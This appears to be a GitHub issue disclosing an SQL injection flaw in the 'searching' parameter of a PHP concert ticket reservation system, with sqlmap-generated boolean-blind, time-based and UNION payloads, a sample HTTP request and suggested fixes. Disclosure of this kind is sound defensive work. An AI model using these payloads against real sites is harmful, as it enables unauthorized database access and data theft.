New issue

code-projects Concert Ticket Reservation System V1.0 /ConcertTicketReservationSystem-master/process_search.php SQL injection #4

Open

yihaofuweng opened 2 weeks ago

code-projects Concert Ticket Reservation System V1.0 /ConcertTicketReservationSystem-master/process_search.php SQL injection

NAME OF AFFECTED PRODUCT(S)

- Concert Ticket Reservation System

Vendor Homepage

- <https://code-projects.org/concert-ticket-reservation-system-in-php-css-javascript-and-mysql-free-download/>

AFFECTED AND/OR FIXED VERSION(S)

submitter

- 学生：温卓霖 导师：杨建业 第一单位：广州大学

Vulnerable File

- /ConcertTicketReservationSystem-master/process_search.php

VERSION(S)

- V1.0

Software Link

- <https://code-projects.org/concert-ticket-reservation-system-in-php-css-javascript-and-mysql-free-download/>

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/ConcertTicketReservationSystem-master/process_search.php' file of the 'Concert Ticket Reservation System' project. The reason for this issue is that attackers inject malicious code from the parameter 'searching ' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Concert Ticket Reservation System",I discovered a critical SQL injection vulnerability in the "/ConcertTicketReservationSystem-master/process_search.php" file. This vulnerability stems from insufficient user input validation of the 'searching ' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability Ionameion:

- 'searching ' parameter

Payload:

```
---
Parameter: searching (POST)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
  Payload: searching=-7882' OR 1599=1599#

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: searching=1' AND (SELECT 8878 FROM (SELECT(SLEEP(5)))kyTv)-- MTOT

  Type: UNION query
  Title: MySQL UNION query (NULL) - 4 columns
  Payload: searching=1' UNION ALL SELECT NULL,NULL,CONCAT(0x7162786a71,0x6d50505749444567945
---
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
POST /ConcertTicketReservationSystem-master/process_search.php HTTP/1.1
Host: 192.168.60.130
Content-Length: 11
Cache-Control: max-age=0
Origin: http://192.168.60.130
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apr
Referer: http://192.168.60.130/ConcertTicketReservationSystem-master/process_search.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
```

Cookie: PHPSESSID=qpau9gegvnthc4r4it8f0r47d1

Connection: keep-alive

searching=1

```
POST parameter 'searching' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 129 HTTP(s) requests:
-----
Parameter: searching (POST)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
  Payload: searching--7882' OR 1599-1599#

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: searching=1' AND (SELECT 8878 FROM (SELECT(SLEEP(5)))kyTv)-- MTOT

  Type: UNION query
  Title: MySQL UNION query (NULL) - 4 columns
  Payload: searching=1' UNION ALL SELECT NULL,NULL,CONCAT(0x7162786a71,0x645658574944567945796f7951717568664416d47424f584e54585a487451634b52725575527

[10:47:00] [INFO] the back-end DBMS is MySQL
with application technology: Apache/2.4.18 PHP/5.6.40
```

Suggested repair

1. Use prepared statements and parameter binding:

Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. Input validation and filtering:

Strictly validate and filter user input data to ensure it conforms to the expected format.

3. Minimize database user permissions:

Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as 'root' or 'admin') for daily operations.

4. Regular security audits:

Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
